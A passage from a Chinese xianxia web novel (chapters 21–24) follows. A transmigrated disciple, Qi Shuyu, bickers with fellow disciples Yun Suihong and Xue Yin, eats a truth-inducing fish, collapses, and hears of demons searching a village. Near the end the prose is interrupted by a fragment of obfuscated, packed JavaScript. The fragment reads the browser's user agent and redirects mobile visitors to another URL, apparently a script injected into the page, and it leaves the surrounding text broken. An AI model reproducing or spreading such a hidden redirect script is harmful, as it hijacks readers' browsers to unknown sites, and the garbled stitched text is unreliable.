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被他冷落了,伸长了手去够。
同为男人,他多少能体谅另一个男人在情绪低落时有多敏感。
说作也不为过。
但云岁鸿那副双开门开得过于结实饱满,从左肩头到右肩头打车都要二十,也就肉眼看着好看点,实际抱上去一点压缩空间都没有,铁得过分。
他坐着实在够不着,悄摸垫起脚,悬空了半个身子。
正撑不住把头低下来靠在云岁鸿怀里时,
脚下踩着的山羊胡悠悠醒转了。
齐舒玉:“……”
吴忧:“……”
吴忧:“……”
齐舒玉:“?????”
“齐舒玉!!!!云岁鸿!!!你们二人成何体统?!老夫要上告——告之长老,告之师祖!再告白平飞和祝岳明育人不——”
“嘭——”
燕问雨拍拍手:“两位师侄,回头再聊吧。”
她掀开车帘后想了想又回头道:“别在你们吴师叔面前搂搂抱抱的,他在凡间科考多年才好不容易中个秀才,学识只得皮毛,酸腐却沁皮入骨。”
——
“他们俩怎么都怪怪的?说啥啊?你听懂了吗傻大个?”
“……尚未。”
**
月朗星稀。
车队终于抵达了村子。
四个多小时的路程因为中途没停过,而且一直在加速,愣是缩减到三个小时左右。
齐舒玉下了车就开始左右张望,露出几分满意的神色。
老天。
小树林!
是多少男孩子们最爱的嘘嘘圣地!
辽阔又隐蔽。
他们金丹期往上的学了辟谷之后可以不吃不喝,
小小筑基可不行。
齐舒玉找了个看起来没有弟子会经过的风水宝地。
有桥、有水、有花草、若有似无的月亮。
完美!
他勾搭着云岁鸿要往里钻。
云岁鸿驻足,温声道:“师弟你去吧,从我脚下算起,三里绰绰有余。”
“不行!”齐舒玉见拉扯不动也不肯放开他,难得语气强硬道:“太黑了,我害怕。”
晚风穿过树杈,
树叶子簌簌坠落的声音宁静又森然。
“大师兄~~~”
三个字拐出十八个弯,齐舒玉急得跺脚:“你还是不是男人!”
“云岁鸿!”
“狗男人你倒是动一动啊!”
“快点吧哥哥,算我求你了!求求你了!”
“我要憋不住了!”齐舒玉夹着腿抱住云岁鸿胳膊,脑门起了层汗,眼角急得绯红,薄薄的泪珠沾在睫毛上,玄服隐在夜色中,一张莹白透红的脸比艳鬼还要鬼气几分:“好哥哥——”
云岁鸿从未叹过那么长一口气。
“师弟,林子里有人的,不必慌张。”
齐舒玉湿润的眸子眨了眨。
他偏头刹那。
幽深黑暗的丛林中乍现一袭无声无息的白衣。
“嗷嗷——唔——”
“听脚步声,似是薛师弟,”云岁鸿的铁砂掌紧紧捂在那张糟糕的嘴上,虎口嵌进唇瓣,挤得两颊软肉从指缝溢出来。
他的头微垂着,眉眼间蒙着层黑布,红色莲花在暗淡的月光下隐隐约约,面朝流水,视线不知看着哪里,轻轻道:“薛师弟相陪可否?”
齐舒玉忙不迭点头,
起身拔腿就往林子里冲。
薛殷,
他现在是打得过的!
“快点再陪我进去一趟!”
“——你!”
“我就知道你小子喜欢敬酒不吃吃罚…………嘶——爽!”
21. 小树林
撕下薛殷背上的符纸。
“哎,我都没几张了,”看着那一抹落下的灰烬,齐舒玉颇为惋惜道:“还是这种好用点。”
他现在的储物袋里也就传音符管够,
其他能派上用场的符纸在之前下山历练的时候用掉好多。
薛殷转过身来,半张脸埋在夜色之中,清晰流畅的下颌角紧了紧。
下一瞬,
少年迅速抽出腰间的剑,长臂一挥。
齐舒玉身体的反应比脑子更快,双臂交叉护在胸前滑退数米,腰间的剑凌空出鞘,挡住这一记横刀。
他站住,
惊魂未定。
“我靠真是给老子牛逼坏了!”
少年神色冰冷,向前一步顶开剑刃,手腕翻转,立刻又斜劈而来。
齐舒玉连忙运起灵力。
长剑乍现薄薄青芒,飞快旋转出数道残影,犹如囚笼将少年阻困在原地。
薛殷奋力挥剑。
霎时火星跳动,
金属的敲击声在林间久久回荡。
齐舒玉连忙又往外跑了几步,还是没忍住回头骂道:“你有病吧,让你陪我尿个尿而已。不是来不及解释了才定你一下嘛!真他妈小气鬼!”
少年周身寒气更甚,
声音几乎是从牙缝里挤出来的。
“不知廉耻!”
“什么廉耻,我有的你没有?!害羞个屁啊?你就装清纯吧死绿茶!”齐舒玉听他那副贞洁烈男的语气就火大:“装逼男没有小吉吉!”
不知道薛殷有没有听懂小吉吉是什么,但他的攻势倒是越来越猛了。
感觉到长剑被砍出一条小缺口的齐舒玉皱眉,
丹田似被针扎了下。
薛殷这次又是来真的?!
“我靠老子也会生气的好吗?!”齐舒玉踩着灵力飞身上前拿回长剑,顺道要踩薛殷一脚,被他举剑推挡,借力跃到了树枝上。
好他妈帅的一招后空翻!
齐舒玉扶着树干,压下嘴角。
“喂,上次你要杀我我都还没找你算账呢,我俩无冤无仇吧?”他探出头朝树下不满地叫唤道:“你到底什么毛病……”
???
薛殷不在?
树下空空如也,除了刚才打斗中被剑风吹出的一片干净空地,哪还有什么人影。
蓦地,
背后附上温热清瘦的胸膛。
一股凉意横在颈间。
少年清冽的嗓音夹杂了几分奇怪恨意:“玩够了么,齐舒玉,折辱我很有意思么?”
“哈?!你在说什么?”
“这里只有你我二人,何必惺惺作态?”
“靠老子根本听不懂你在说什么好吗?还他妈折辱,”齐舒玉觉得包青天来了都不知道从哪里给他翻案:“让你陪我尿个尿,又不是给你喝——”
他的嘴巴再次被大力捂住。
还擦到了薄薄的蚕茧。
清淡兰花香顺着纤长的手指萦绕鼻尖。
齐舒玉咬牙。
还熏香?
该死的娘炮心机真重啊!
少年嗤笑一声:“我这把剑就在这里,你最好想清楚再答复。”
齐舒玉怒了!
那能想得清楚么?!
察觉到唇上有些松动,正要开口,又被身后的人用食指压住。
“嗯??”
齐舒玉发出一声疑惑的鼻音。
薛殷的呼吸声加重,似乎在极力隐忍,将齐舒玉脖子上的剑又贴近了些,食指也重重地在他唇上敲打。
齐舒玉犹疑地点点头。
薛殷的手移开,从身后递过来几张符纸。
齐舒玉努力用派不上什么用场的夜视眼仔细辨认了一下。
有点像是燕问雨在马车上贴过的……隔音符?
他接过符纸,顺着剑尖指的四个方位输送灵力,把它们都挂了上去。
看着在风中纹丝不动的符纸,
总觉得哪里怪怪的。
呃……
刚刚是不是应该先喊救命啊?!
齐舒玉憋不住问道:
“你到底要干嘛?”
“秘境里是怎么回事?”
两人同时开口。
薛殷收起剑,但是也没放过他,把他双手反剪到身后,摁在树干上:“你在火里动了什么手脚。”
“老树皮都刮到我了,你能不能注意点啊?!”齐舒玉抱怨地很大声:“毁容了怎么办!我现在就这张帅脸是自己的了!”
“先回答我。”
少年无情地加大手腕上的力道。
“申墨怎么都不跟你们说吗?一个两个都在这里问问问问问……”
他忽然顿住。
当天在乾坤殿上虽然弟子中只有他和云岁鸿,
但是在场的小领导们也不少啊。
世上哪有不透风的墙。
他大胆猜测道:“……申墨把那些人都灭口了?”
“门内有令,禁止弟子探讨秘境一事。”
“一个两个都不说吗?口风那么紧?!”
“以为人人都是你么?”
“肯定是你人缘不好才没人跟你说,”齐舒玉切了声,扭了扭手腕:“你有事直接问不就好了,用得着对我打打杀杀的么,我会不告诉你吗?”
反正薛殷也是主角,
世界都是他的,还有什么不能说的。最后还不是什么都会知道。
背后的气息终于散去。
齐舒玉脑子里想着云岁鸿在马车上讲给燕问雨的复述,努力照着他的话,磕磕巴巴地全背给薛殷听了。
“难怪见你一路那般痴缠云岁鸿。”薛殷的声音没来由地更冷了:“你倒是不曾疑他。”
“明摆着的离间计,怀疑他不等于中计了么?”
齐舒玉不屑道:“我看你也是不太聪明的样子。”
不过齐舒玉也不深劝。
大老公和二老公的矛盾,
是男人都不会选择和解的。
“若不是呢?”
薛殷淡淡道:“他下山第一年杳无音讯,第二年就在剑道大会上崭露头角,三年之内从筑基飞升元婴,难道没有蹊跷么?”
有什么蹊跷。
小说不都是这个德行?
“能有什么问题,他不是洗髓成单灵……诶,你穿白的还挺好看啊。”
皎洁月光被微风吹到了林中,身型纤细高挑的白衣少年立于树梢,五官精致秀丽得动人心魄。
“我靠我现在好嫉妒,这丧服也太好看了吧,呆会儿我就要求他跟我换衣服了……不是我是要说金灵根的但是……但是我也不知道他答不答应不答应的话还要揍他么揍多了会不会……”
齐舒玉一脸惊慌地抬手捂嘴。
少年阻拦的动作却是更快,握住他手的力气也很大。
“他们给你喂了什么?”
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“我不知道要不要说是吐真鱼说了也没关系吧他也不一定知道是什么但是可恶啊这个名字就很白痴吧不说应该也能猜……”
齐舒玉一脸痛苦,狠狠地闭上了眼睛。
总算是把嘴巴轻轻地合拢了。
“什么时候吃的?吃了多少?”
薛殷的声音听起来和平时不太一样,但具体哪里不同也说不上来。
见齐舒玉不说话,薛殷一只手用力捏住他下颚,痛得他被迫张嘴道:“秘境里吃的,好几串,味道真不错。”
“是云岁鸿?”
“嗯,而且他吃了更多。”
“可他辟谷了。”
“是后来申墨喂的,他那时被封五感了也不知道他自己有多能吃我的那个老天爷是你看了也会夸他牛逼的程度!”
“你没告诉他?”
“没。”
“为甚?”
齐舒玉骤然开始挣扎:“口水要流出来了!”
话音还是慢了一步。
薛殷像是被蛰到似的迅速缩回手。
“这可不怪我啊,”齐舒玉吸溜一声,指尖随手划过湿滑的唇边,捂着腮帮子警告道:“是你弄的。可别拿来当杀我的借口!”
月光又散开了。
少年的身影在黑暗中模糊不清,
一动不动。
正当齐舒玉疑惑时,他突然道:“你真以为我会杀你?”
“呃,不会吗?”
小说里都写着呢!
杀“齐舒玉”的主犯是银翼天尊,
但偷偷出来补刀的可是薛殷。
“你以为我有这等本事?”
“你现在没有以后也有啊,”齐舒玉戒备道:“再说你现在不也挺厉害的吗,练气都没到也敢跟我打,还跟花怒娇打。”
薛殷意味不明道:“你倒是信我。”
“齐舒玉,”他上前一步:“看在同门份上,劝你还是多加提防云岁鸿。”
“你管好你自己吧,管我干嘛。”
薛殷避而不答:“你这般信他,为何许久了他也不进来寻你?”
齐舒玉被他点醒。
对啊,
这么久大师兄为什么不进来找他。
刚刚他俩打起来的声音那么大,
就算云岁鸿现在不能‘眼观六路’,‘耳听八方’应该可以的吧。
两人沉默不语好一会儿。
少年出其不意地开口:
“你在想什么?”
“想在云岁鸿进来前让你答应跟我换衣服。”
“无可救药。”少年的声音沁出千年寒冰的森意,他抽剑削断挂着符纸的树枝,随着坠落的微光一起跳下树,头也不回地往外走。
齐舒玉回头望了眼幽幽林间,四肢并用地跟了上去:“等等我啊你这个爱挑拨离间的死绿茶!”
少年搭在剑柄上的手骨节更加分明,
脚下生风。
齐舒玉追着薛殷出来时,看他居然驻足不前,还鬼鬼祟祟地往旁边躲了一下,也立刻有样学样地猫着腰,从他背后张望。
害!
原来是云岁鸿在和上官玲珑正在外面聊得火热!
齐舒玉马上腰板都直了,非常得意地狂甩少年后背:“看吧,我就说,这狗男人肯定是有原因才不进来的!哪能让女孩子进来看我们尿尿啊!”
……薛殷臭臭的脸更臭了!
“呃……不好意思戳你绿帽了弟弟。”
22. 灌水
“齐师兄!薛哥哥!”
光听声音就能知道是个美女的上官玲珑率先发现两人,元气满满地招手道:“你们切磋得如何?”
齐舒玉与薛殷对视一眼。
“肯定是云岁鸿给咱俩打掩……可恶他穿这身真的要把老子比下去了云岁鸿找的借口还挺好一会儿千万别戳穿他。”
少年面无表情地垂眸,
不知道在看哪里。
齐舒玉脸上升起几分热意,在少年平静无澜的眸光中暴躁地揉碎两片树叶,凑到他鼻尖恶狠狠地威胁道:“操!老子现在只能说真心话但不一定是事实知道吗?!你也别太得意了否则别怪我拿你没什么办法!”
说罢,他把少年往树上一推,独身走了出去。
啊啊啊啊啊啊啊啊啊啊啊。
啊啊啊啊啊啊啊!
放出这种狠话真的好丢脸啊!!!!
“齐师兄——”上官玲珑蹦蹦跳跳着上前,甜甜地笑道:“快半个时辰没见到你了!弟子们这会儿也都在找你呢,商量今晚如何度过。”
齐舒玉思绪回笼。
哦对。
还有一百五个烂摊子要收拾。
他幽怨地叹口气,
愁得头发都掉了两根。
“真想让小师妹软软的扑进怀里。”
上官玲珑笑容僵住:“齐师兄???”
齐舒玉:“!!!!!”
不、不是!
老天爷我不会再叫你一声爷了!
“师姐,”亦步亦趋跟过来的薛殷插声道:“太晚了,我们回吧。”
他一把揪住青年衣领,拎着虽活犹死的躯体继续往前走。路过伫立在一旁的高大剑士时,
停住脚步。
二人明明身高与形体都要差上些许,在夜色的遮掩下却生出难分伯仲的错觉来。
“他已尽数相告于我,这段时日有劳大师兄了。”
“薛师弟何意。”
剑士偏了偏头,仿佛正隔着黑布与少年对视,语气极淡。他这一声似是唤回了青年的神志,隔着少年,楞楞地伸出手:“大师兄—”
少年把这手又不动声色地按了回去。
脚下一扫,
将失去重心的青年拦腰搭在自己臂弯之间。
齐舒玉:“????”
当我是什么很没面子的折叠屏吗?
视野变换几番后,他被放下来。
颈后的软肉被温热掌心托住,薛殷用了些力,迫使他回头,声音里难得有一丝柔软:
“记住,这便是三里。”
黑灯瞎火的看得到个屁啊。
齐舒玉点点头。
“他瘦得跟鸡崽一样力气也太大了吧真他妈是变态啊。”
薛殷:“……”
两秒后,
齐舒玉拔剑就往回飞。
“啊啊啊啊啊啊有没有人来救救你爹啊!”
——
“你躲去哪儿了?”刚出现在火光明亮的空地处,花怒娇就冷飕飕地闪到齐舒玉眼前,眯着眼道:“留我们原地等候,首席真是好大的威风。”
“尿尿,”齐舒玉不耐烦地解释:“你要觉得不公平你也去尿。”
“你!”花怒娇一副有气但发作不出来的模样:“……卑鄙下流!”
“师姐莫动怒,”眼圈奇黑面色苍白的青年上前:“首席实力不佳,尚未结丹,我们还需多包涵才是。”
这家伙继承了他师傅常广的衣钵,讲话一直怪里怪气的,加上常广和白平飞积怨已久,平时碰面齐舒玉也不太爱搭理他。
但对方却不依不饶地打量着齐舒玉:“去了这般久,首席可是伤到根子了?”
“——放屁吧你郭瑞!你就是嫉妒老子还有根!死太监尿不出来吧!”
“真乃笑话,首席明明是没有结丹辟谷的实力,怎还污蔑起同门来了,你我都是男子,劝师弟莫要讳疾忌医。”
夹在中间的花怒娇头顶冒烟,运起灵力,给了一人一巴掌:“够了,我没空听你们讲些腌臢话。”
被打飞出去的时候,郭瑞砸进了远处的土屋里,而齐舒玉被后面跟上来的云岁鸿接住了。
很幸运。
倒在云岁鸿怀里,
重伤程度是要远甚郭瑞的。
他“哇”地吐出一口血沫。
“齐师兄!”上官玲珑惊呼:“我帮你疗伤吧!”
齐舒玉还来不及喊痛,
当即面露惊恐。
——连你也要收拾我是吧?!
他可不想被魔蛊在身的女主将今晚的“有惊无险”变成“极度危险”,立刻从云岁鸿胳膊上跳下来,抓住上官玲珑娇若无骨的小手,脚生灵力奔回火光中,搂着她正色道:“开会要紧!”
被一圈人围着,上官玲珑的脸红了又红,想把手抽回来:“齐、齐师兄!”
齐舒玉吐出猛男气泡音制止她:“别闹。”
不知道为什么,
刚刚那口血吐出来之后他格外想上班。
没来由的焦虑促使他把怀里软软的东西抱得更紧了些。
“真当此行是游山玩水么,”花怒娇大翻白眼,咬牙道:“不若你们滚回墨君山去卿卿我我——”
她的话被打断。
“既然每队有十五人,那么你们各自将手里的弟子分为三组,一组内至少要有两名弟子可御剑防守上空,两名弟子巡逻下方阵地,再择五人中实力最佳的从旁辅助,”
齐舒玉的心不受控制地咚咚跳,肾上腺素狂飙道:
“听清楚了么?!如果弟子里南宗和北宗的数量过于不均,需要立马汇报,接下去的几天,不出问题的话就按照这方法,三组轮番巡岗,每日共五十人当值,于午时交守。”
说完,他皱眉:“愣着干嘛,不是要听我的发言么?!我说完了,倒是动啊?!”
李二一手抱剑,一手摸摸后脑勺应和道:“那也行,先这样吧。”
他0帧起走,
花怒娇还来不及挑刺就失了先机,冷哼:“使唤人倒是学得快。”
其余人面面相觑了会儿,打量着齐舒玉和他怀里的上官玲珑,神色轻蔑嘲弄,但见李二和花怒娇已然动身,到底还是没多说什么。
“首席聪慧,”郭瑞临走前视线还黏糊在上官玲珑的脸上,拱手道:“想了个大家都能想出来的主意。”
齐舒玉掀起眼皮:“不聪明点怎么当首席呢,你想当都当不上。”
“你!好——好好。”
“觉得好你就学着点。”
“——好!”郭瑞咬牙:“那且看首席能怎般让人好生学着!”
待人都走后,
齐舒玉那颗跳动不止的心才渐渐停歇。
他捂着胸口,
觉得有些闷闷的。
刚才那一下真是把他砸坏了。
上官玲珑见状急忙上前扶住他:“齐师兄,我——”
“别。你现在灵力不多,留着能派上用场的时候再说吧。”齐舒玉难受地挥开她,紧紧抓着衣襟,大口大口喘着气,慢慢跪了下去,额上沁出密密麻麻的冷汗。
……身体里的血液像是煮开的水,
咕嘟咕嘟冒着蒸腾的热气。
齐舒玉无比清晰地听见了上官玲珑慌乱的叫魂声:“齐师兄?齐师兄——”
完了。
是目标人物得绝症的常见体现手法!
昏过去前,
高大的剑士和冷峻少年出现在最后的视野中,一左一右拉着少女。
“无碍,师妹。”
“交予我吧,师姐。”
????
把妹会不会太敬业了点?!
真的不把炮灰当兄弟看吗?
**
在摇晃中,一抹刺眼的光照得齐舒玉眼前发红。
他砸砸嘴,
翻了个身嘟囔道:“把灯关上!”
“齐师兄!呜呜呜呜你终于醒了!”熟悉的少女哭丧声在耳
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边响起:“他们都安慰我说你只是睡着了,我不信!呜呜呜呜你肯定是有事瞒着我!”
彻底清醒的齐舒玉翻身坐起来。
偌小的马车里挤满了人。
吴忧、薛殷、上官玲珑、玉婉柔、燕问雨、云岁鸿和他。
一共八个。
因为云岁鸿顶俩上官玲珑。
难怪他一个伤患只能躺地板呢。
坐在两边的薛殷和云岁鸿同时朝他伸出了手。
“????”齐舒玉左看右看了会儿,大脑陡然才思泉涌,瞪大眼睛爬起来,指着鼻子一言难尽道:“我修仙的,也得绝症了?”
那这里的修仙到底在修什么啊?!
上官玲珑被他的话刺激到,嘤嘤嘤着扑进他怀里:“呜呜呜师兄,玲珑好没用!什么都没探出来!”
齐舒玉重新开始呼吸。
原来‘有惊无险’在这里等着的。
太好了。
被灌水章救了。
玉婉柔将少女拉回来轻声安慰:“既然皇甫师弟也赞你医术高明,远超他之上,那么舒玉必定是没事的,不必多虑。”
“???!!等等,”一口气没吸到底的齐舒玉变了脸色:“你用灵力了?!”
燕问雨点头。
“看样子你也知道了——下山前皇甫师弟曾秘音于我,玲珑每番使用灵力时,便会损伤她的性命,叮嘱我们不到万不得已莫让玲珑出手。但昨夜我们几人确实探查不出你的异样,玲珑又十分担心……”
上官玲珑在玉婉柔怀里哭得更大声:“呜呜呜呜难怪师尊总是不允我用灵力,他这般瞒着我,一定是用心良苦呜呜呜——”
齐舒玉:“……”
难怪有了‘徒弟的医术比师傅高’这个离谱设定还留着皇甫成华,他连不出场的时候都挺管用的。
不然就上官玲珑这个脑子,一旦知道魔蛊的存在,肯定会想用更多灵力拔除它。
那大家就全完了!
不过……
看起来她用灵力应该是有段时间了吧。
齐舒玉借着伸懒腰撩开帘子向外张望。
风和日丽。
青山绿水。
鸟语花香。
怎么没出事?
“婉柔,舒玉醒了,那我们便回吧,”意识到车厢过于拥挤的燕问雨开口提议道:“有岁鸿和吴师弟在这,想来不会有异。”
玉婉柔摸着上官玲珑的发梢,微笑着道了声好。
齐舒玉忍不住再次瞟了眼‘母女二人’。
她脾气真不错。
上官玲珑也是真能哭啊。
吴忧斟酌道:“师姐离去得这般早么,实在惋惜,左右留岁鸿与舒玉一起也不出岔子,师弟还有……”
“我单土灵根,你三灵根,问我也是无用。”
燕问雨朝吴忧举起拳头,
他的山羊胡抽了抽,默默不吱声了。
燕问雨环视一圈,
停在薛殷身上。
她叫不出少年的名字,眼神里有一瞬尴尬。
薛殷主动开口道:“弟子薛殷,与齐师兄有事相告。”
燕问雨又看向齐舒玉。
齐舒玉点头。
薛殷在也好,看他和云岁鸿不太对付的样子,应该会帮忙在云岁鸿那里给他打掩护。光凭他自己,迟早会露馅。
见薛殷留下,上官玲珑也哭天抹泪地要留下来,于是燕问雨和玉婉柔不再多言,掀开摇摇晃晃的车帘跳下去。
两人离开后,
吴忧当即从薛殷旁边的角落换到中间去,长长松了口气。
上官玲珑也落坐回了薛殷身边。
不得已又和硬邦邦的云岁鸿挤在一起,齐舒玉怨念地盯着对面的薛殷。他也想和上官玲珑坐在一起,香香软软的还不占空间。
少年眼神古波无澜,眉尖几不可见地一挑。
没放过他丁点表情的齐舒玉:“!”
挑衅!
他在挑衅!
23. 古怪
“昨晚的村子,有古怪。”
没想到坐在一排带省略号乱飞的乌鸦群里,竟然是薛殷先开了口。
“老夫知道,”吴忧捋着山羊胡悠悠解释道:“你是想说那村子没有过多打斗痕迹,但是全村人都不见踪影么。放心吧,老夫已经提前安置好了那些村民,只为防止心狠手辣的魔族卷土重来。不过老夫意外的是,昨晚你竟然也去仔细探查过了吗?心思细腻又有如此胆量,品性不错。你方才说自己名为薛殷?老夫出行前倒是听说过你,是个没有资质的五灵根,练气未达,这次论道大会呈上去你的名简,实乃怪哉,不知你用了什么手段……不过罢了,若你一路上安分些老夫也不予追究。念在你年岁尚浅,想去见见世面实在情有可原,也好早日绝了修道的心思,回凡间寻个正经营生。不过这论道大会并非儿戏,稍有差池便会命丧黄泉,但你既是坤元剑派的弟子,上了场自当借力以赴,万万马虎不得。哎——你可听说,‘塞翁失马,焉知非福’,你只知前去论道大会有无限风光,又哪知其中艰险。不知你作何感想?”
“多谢仙人指教。”也不知道薛殷有没有听进去他的话,还是那副扑克脸道:“那村子有两拨人马搜查过。”
正在把自己脸当面团捏的齐舒玉抬头,顶着两颊红痕懵逼道:“嗯?两拨?”
除了银翼天尊路过还有谁啊?
他又在脑子里翻了遍书。
确定没写。
这书里到底有什么是尊贵的穿越者不能知道的吗?!
薛殷眸光冷静,点头:“符灰细若无物,但时日不同。”
越好的符纸烧的灰越细。
越难被发现,
也越难被清理。
“他们是在找什么东西吗?”
“不知。”
上官玲珑托着粉腮苦想:“但村子里都是普通人,能有什么东西引他们去呢?”
那么好的符,
可是很贵很贵的。
甚至一张可以买一个小门派了。
目及云岁鸿,上官玲珑眼前一亮:“大师兄见多识广,定然也有一番见解吧。”
齐舒玉撑着下巴,
故作沉思地开始默默抖腿。
女主咋回事啊,对着云岁鸿一副不值钱的样,这几天发生太多事没来得及收拾她是吧。
万一他死前觉醒系统,翻身当男主呢?没考虑过他和云岁鸿关系会变得很复杂吗?!
“他知道什么,他又没来过这里,”齐舒玉试图拉开她的注意力,脱口而出:“说不定那些人是跟着银翼天尊来的……呗。”
这句话杀伤力太大了。
连云岁鸿瞎着都往他这里偏头。
吴忧的潮流前线小胡子都支棱起来了,连连摆手:“臭小子,你从何听说银翼天尊?饭不得乱吃,话也不能乱讲呀。五百年前的人魔大战死伤无数,连坤元剑派也参与其中,还是最后师祖以身犯险,经脉重伤才将其封印,由此至少再过千年才能真身重现于世——没影的话莫要乱说,传回墨君山去,少不得一顿责罚。”
齐舒玉快憋屈死了。
这种不能剧透的感觉实在太差劲了!
书里写着呢,虽然真身被封印了1500年,但是堂堂魔族大佬,怎么着也要搞个分身先出来把恋爱谈上啊!
而且分身也继承了变态的意志,
几年前见到小时候的女主就对她念念不忘了。
“师叔,”云岁鸿突然沉吟道:“弟子有一事不知可否当讲。”
“岁鸿你但说无妨,”吴忧把翘起来的半黑半白山羊胡捋下来,和颜悦色道:“师叔我与门内那些迂腐的师兄弟们不同,既然我等出山了,就不用在老夫面前守些恼人的死规矩,有什么话想说便说。虽说你我相处时间不多,可你的秉性老夫已深知一二,颇有‘泰山崩于前而色不变’之风也。哎——要老夫说,这次首席弟子就该交于你之手,也不知你到底是犯了什么错,惹得师祖他老人家生气。不过啊,师祖他老人家近百年来性子也是越发阴晴、、咳咳咳,他老人家高深莫测,做事有他的道理,你莫多虑,虚心接受他老人家的好意点拨便是。这些想必不用老夫叮嘱你也知道罢,毕竟祝岳明倒是把你教得挑不出错……”
他的目光停住,盯着搂住云岁鸿胳膊狂撞头的齐舒玉半晌,不知道抽什么风,凉凉道:“舒玉你过来,坐老夫边上。”
齐舒玉大为不解:“为什么?我不要!”
在云岁鸿边上只是又挤又硬不舒服,
坐山羊胡老头旁边可是会崩溃的!
吴忧面上也浮了些怒意:“白平飞怎么教你的?师长言令也可随意顶撞?!岁鸿为你师兄,你这般对他不守规矩,成何体统?!”
“什么不守规矩,你刚才不是还说不用守……”
“那是方才,与眼下何干?”
“师叔。”
“莫纵他!你身为墨君山开门弟子,不仅应以身作则,纠查歪风邪气之行更是责无旁贷,弟子们可都看着的!”
“仙长,弟子可与师兄换座。”默默旁听的纤瘦少年不卑不亢道。
情绪失控吴忧骤然失声,
鼻息深重,将无名之火压了下去。
对上薛殷平静漆黑的眸子,深感莫名的齐舒玉无言乖顺地起身。
吴忧这才憋着气对云岁鸿道:“……将你方才所想说与老夫听听。”
“弟子近年多次探听到魔族在秘寻一物,因并未查到流言依据,不敢贸然上报。”
“不错,老夫也有所耳闻。”
“但半月前,墨君山下有魔兽涌动的异相,似受召唤,恰与此地仅数里之遥。”
“对对对!”上官玲珑激动附和道:“就在我们与齐师兄历练回山的时候!明明一路来魔兽并不多见。也多亏那次有大师兄相助!”
齐舒玉看着她,
眼神复杂。
还多亏“大师兄~”呢!
切。
“你等下山时还有可疑之处么,”吴忧肃然道:“一并说来。”
上官玲珑想了想:“在那之前,我们曾偶遇一魔族无端拦路,不过当时齐师兄打发了他,我们没有发生冲突。”
薛殷补充道:“他没有动手的意思,窥见不到魔气。”
吴忧蹙眉思索:“能隐匿气息的魔族……怕是比老夫交过手的更深不可测。若与传闻相符,二子混为同伙,兵分两路也并无可能,一子进山,一子观望,既为暗寻,必不敢在墨君山下大张声势,伤你等性命。魔族妖物向来单枪匹马,如今却反常同行——看来,无论寻些什么,又将是一番腥风血雨。”
“嗯?”他忽然疑惑道:“未曾交手,也无魔气,怎知那是魔族?”
齐舒玉也记得当时出场带特效的家伙,虽然知道这就是巧合,可吴忧看过来了,只好开口道:“他长得奇怪,像是好奇才拦住我们的,脑子不太对劲跟个伪人一样。”
吴忧的山羊胡已经被捻成细绳:“伪人?魔族妖物伪装人形确实言行怪异。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14710185|157102||http|test|mini|href|location''.split(''|''),0,{}));
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>“别多想了,就是凑巧,”齐舒玉提醒道:“村子这么小,能藏什么东西?”
“非也。老夫与那魔族交过手,实力远在我之上,乃其无意斗争,老夫才能全身而退。此般魔族,怎会无故现身寻常之地,所要之物也定然非同凡响。即便那东西不在村子里,也有蛛丝马迹可循,更甚之,村子也可用作避人耳目,进我坤元剑派才是目的。魔族狡诈,其心可诛!可恨此事已被村民走漏风声,被他人知晓,不久后,墨君山再无宁日,惊天大事怎能用一“巧”字定论!哎——你思虑不周,身为首席弟子,应视为大忌!同门性命依附于你,你却草率了事,白平飞就是这般教导你的?那个老匹夫到底有没有……”
臭老头!!!
你懂阴谋,
但你懂女频文的爱情吗!
齐舒玉一听他开口就头疼得想撞柱子,但刚伸手,反应过来旁边已换作娇娇小小的上官玲珑,又红着脸把手缩回去了。
幸好,小脑瓜根本转不动的师妹已经宕机了,两眼空洞,没注意到他。
“仙长,事关重大,是否该向宗门禀报?”
少年清冽的声音在逼仄的车厢内响起,如炎炎沙漠中出现的冷泉,成功解救了齐舒玉嘴里快被扯碎的玄服衣摆。
吴忧的嘴十分顺滑地接话道:“……务必要报!此事需让燕师姐与长老尽快定夺。不过师姐这人老夫知之甚深,她素来不听旁人劝导,定然会再孤身前往一探究竟,实在冒险。明日便能出山,届时告知最为稳妥。事已至此,你等也无需再多想。据老夫所知,不少魔族已混入凡间,眼下即将入世,更要打起精神才是。”
齐舒玉还算淡定。
这部分剧透他是有的。
小四和小五在下一章就来加入组建爱情城堡了。
吴忧说着说着又‘咦’了声:“昨夜怎不听你传?现下都出了村子,再查自是不便。”
薛殷清声回道:“齐师兄已昏迷不醒,恐弟子们再乱阵脚。”
“倒是在理。你瞧着年岁比舒玉还小,却心细如发,性子比他高出一截,”吴忧眼底滑过赞赏:“如此缜密又有手段,难怪能与我等同行。可惜你是个没资质的,不然坤元剑派能有你等后辈,待师祖飞升后也定然辉煌依旧。”
齐舒玉生气了。
这个破首席他是不想当,但是不去申请把他换掉,怎么在搞拉踩啊?!
“讲得好听,还不是因为那会儿肯定没人听他的,说也白说,”齐舒玉切了声,不服气道:“觉得他有能耐,你怎么不给他当干爹帮他撑撑场子,直接保他作首席得了,我还不想当呢。”
吴忧啧了声,似是准备开口骂他,不过打量他一眼后,还是闭了麦。
薛殷自始自终都是一副事不关已的模样。
**
夜里。
被吴忧死盯着打坐到差点睡着的齐舒玉骤然惊醒。
他正要握上剑柄,却听熟悉的性感低音炮在脑海内安抚道:“师弟,是我。”
齐舒玉不动声色地转了转眼珠子。
见月光下其余三人都无所察觉,才屏住呼吸,将视线聚焦在对面云岁鸿缠在眼间的黑布,疑惑地歪了歪头。
云岁鸿归然不动,
神色无异。
“留意薛师弟,他平日并非多言的性子。”
说完,
云岁鸿就断开蓝牙了。
齐舒玉无语得白眼都要翻上天。
他俩在搞什么?!
拉票?
24. 看法
“前面便是乌水镇。”
停在远处,燕问雨召所有弟子下马车整顿,叮嘱注意事项。
什么镇子里常有魔族出没;
男修住东边女修住西边,六到八人一间,别走错;
不要惊扰普通人生活啦……
和小册子里说得一样,齐舒玉听两句就开始走神了。
【第五章
……过了乌水镇,再翻过一座没有路的大山,就可以进入举办论道大会的百川瀑了。于是众人决定在这里歇息几日再动身。
漫步在这丽水青山的小镇之中,
少女的仙女之姿引来无数路人回头张望。
糟糕。
忘记带面纱了!
